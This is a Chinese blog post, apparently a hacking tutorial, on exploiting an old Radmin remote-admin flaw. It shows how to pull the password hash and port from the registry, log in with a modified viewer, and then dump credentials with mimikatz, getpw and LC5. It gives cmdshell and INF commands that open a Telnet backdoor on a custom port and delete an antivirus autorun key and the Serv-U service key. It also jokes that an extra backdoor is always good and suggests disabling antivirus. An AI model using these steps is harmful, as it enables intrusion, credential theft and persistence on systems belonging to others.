radmin hash提权漏洞
radmin是平时在windows下用的比较多的一个远程管理工具。其具有支持多个连接和IP 过滤(即允许特定的IP控制远程机器)、个性化的档互传、远程关机、支持高分辨率模式、基于Windows NT的安全支持及密码保护以及提供日志文件支持等特性。不过老版本的radmin server2.X、radmin server3.0都存在一个“致命”漏洞 —— radmin hash提权漏洞。
对于该“致命”漏洞我之所以加了引号。是因为该漏洞的利用是需要有一定的前提条件的。即:要获取读取系统注册表的权限(并不需要有写权限)。当然,获得此权限的方法很多。基本上取得webshell、cmdshell后都能获取该权限。
一、利用方法
如果不怕麻烦的,可以看下红黑联盟上提供的一个利用OllyDBG进行hash欺骗的详细步骤 —— 反汇编破解Radmin密码实例。当然想省事也有省事的方法,网上早有人制作出了radmin_hash版的viewer程序。
从注册表的下列路径取得所要的hash值和端口值:
1HKEY_LOCAL_MACHINE\SYSTEM\RAdminv2.0\Server\Parameters\Parameter//默认密码注册表位置
2HKEY_LOCAL_MACHINE\SYSTEM\RAdminv2.0\Server\Parameters\Port //默认端口注册表位置
parameters下的配置大致如下所示:
1[HKEY_LOCAL_MACHINESYSTEMRAdminv2.0ServerParameters]
2"NTAuthEnabled"=hex:00,00,00,00
3"Parameter"=hex:b5,bb,fc,50,93,ba,35,b0,7d,a6,57,f7,d6,f1,9a,a0
4"Port"=hex:11,27,00,00
5"Timeout"=hex:0a,00,00,00
6"EnableLogFile"=hex:01,00,00,00
7"LogFilePath"="c:logfile.txt"
8"FilterIp"=hex:00,00,00,00
9"DisableTrayIcon"=hex:00,00,00,00
10"AutoAllow"=hex:00,00,00,00
11"AskUser"=hex:00,00,00,00
12"EnableEventLog"=hex:00,00,00,00
有人会问,我如何知道。他用的端口是多少。很简单,自己电脑上装上一个同版本的radmin,注册表中找到相关的位置。将其中的端口的hex值改成和查到的一样,再查看自己的设置里的端口变成了多少。上例中所取的值11 27 00 00 即是10001端口。而通radmin_hash修改版输入32位hash值所就会连接上主机。大致如下图:
当然,你如果对网上取到的版本不放心,可以像我一样在沙箱中运行。注意下载该软件时,要关闭杀毒软件,会报是木马的。我这里也分享该软件的下载地址。
连接完了以后,你就可以为所欲为了。可以利用mimikatz解析用户密码,也可以通过getpw获取用户的sam值,再通过LC5解密。获得密码后,可能通过远程桌面进行连结。(呵呵,多留一个后门总归是好的……)
二、利用各种shell获取注册表的方法
下面以一个cmdshell为例,解读操作注册表键值的方法。
1、读取注册表(利用regedit导出,利用type查询)
1C:>regedit /e 1.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ControlTerminal\ServerWinStationsRDP-Tcp"
2C:>type 1.reg | find "PortNumber"
3"PortNumber"=dword:00000d3d
4C:>del 1.reg
2、修改/删除注册表项
1echo Windows Registry Editor Version 5.00 >1.reg
2echo. >>1.reg
3echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftTelnetServer1.0] >>1.reg
4echo "TelnetPort"=dword:00000913 >>1.reg
5echo "NTLM"=dword:00000001 >>1.reg
6echo. >>1.reg
7regedit /s 1.reg
上面是利用echo写入一个reg文件,并通过regedit命令导入。而删除操作与上面类似:
1要删除一个项,在名字前面加减号,比如:
2[-HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesServ-U]
3要删除一个值,在等号后面用减号,比如:
4[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
5"KAVRun"=-
3、inf文件操作
如果regedit命令不允许我们直接操作,我们还可以绕道通过inf文件导入注册表。先建立一个reg.inf文件,内容如下:
1[Version]
2Signature="$WINDOWS NT$"
3[DefaultInstall]
4AddReg=My_AddReg_Name
5DelReg=My_DelReg_Name
6[My_AddReg_Name]
7HKLM,SOFTWAREMicrosoftTelnetServer1.0,TelnetPort,0x00010001,2323
8HKLM,SOFTWAREMicrosoftTelnetServer1.0,NTLM,0x00010001,1
9[My_DelReg_Name]
10HKLM,SYSTEMCurrentControlSetServicesServ-U
11HKLM,SOFTWAREMicrosoftWindowsCurrentVersionRun,KAVRun
然后运行如下命令(假设刚才的inf文件的路径是c:pathreg.inf),即可完成和上面reg文件一样的功能:
1rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:pathreg.inf
至于inf文件的内容每项的意思,可以参看DDK帮助手册。
总结
这也是一个比较老的漏洞了(最早好像是在07年有人发现的)。但很多公司在用的版本中,估计没有升级到radmin3.4的还大有人在,包括我目前的公司在内。呵呵!不要打我公司的注意啊,因为在你看到这篇日志的时候,版本已经升上去了。
捐赠本站(Donate)
如您感觉文章有用,可扫码捐赠本站!(If the article useful, you can scan the QR code to donate))
- Author: shisekong
- Link: https://blog.361way.com/radmin-hash-loophole/2146.html
- License: This work is under a 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议. Kindly fulfill the requirements of the aforementioned License when adapting or creating a derivative of this work.